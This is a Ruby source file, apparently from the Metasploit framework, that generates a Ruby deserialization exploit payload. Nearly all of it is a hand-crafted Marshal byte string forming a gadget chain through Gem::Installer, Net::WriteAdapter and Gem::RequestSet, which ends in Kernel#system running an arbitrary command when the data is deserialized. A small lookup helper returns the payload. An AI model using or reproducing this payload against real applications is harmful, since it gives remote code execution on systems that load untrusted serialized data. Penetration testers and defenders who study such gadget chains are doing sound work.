Path: blob/master/lib/msf/util/ruby_deserialization.rb
19500 views
# -*- coding: binary -*-12# Ruby deserialization Utility3module Msf4module Util5# Ruby deserialization class6class RubyDeserialization7# That could be in the future a list of payloads used to exploit the Ruby deserialization vulnerability.8PAYLOADS = {9# https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html10net_writeadapter: proc do |command|11"\x04\b[\bc\x15Gem::SpecFetcherc\x13Gem::InstallerU:\x15Gem::Requirement" \12"[\x06o:\x1CGem::Package::TarReader\x06:\b@ioo:\x14Net::BufferedIO\a;\ao:" \13"#Gem::Package::TarReader::Entry\a:\n@readi\x00:\f@headerI#{Marshal.dump(Rex::Text.rand_text_alphanumeric(12..20))[2..-1]}" \14"\x06:\x06ET:\x12@debug_outputo:\x16Net::WriteAdapter\a:\f@socketo:\x14" \15"Gem::RequestSet\a:\n@setso;\x0E\a;\x0Fm\vKernel:\x0F@method_id:\vsystem:\r" \16"@git_setI#{Marshal.dump(command)[2..-1]}\x06;\fT;\x12:\fresolve"17end18}1920def self.payload(payload_name, command = nil)2122raise ArgumentError, "#{payload_name} payload not found in payloads" unless payload_names.include? payload_name.to_sym2324PAYLOADS[payload_name.to_sym].call(command)25end2627def self.payload_names28PAYLOADS.keys29end3031end32end33end343536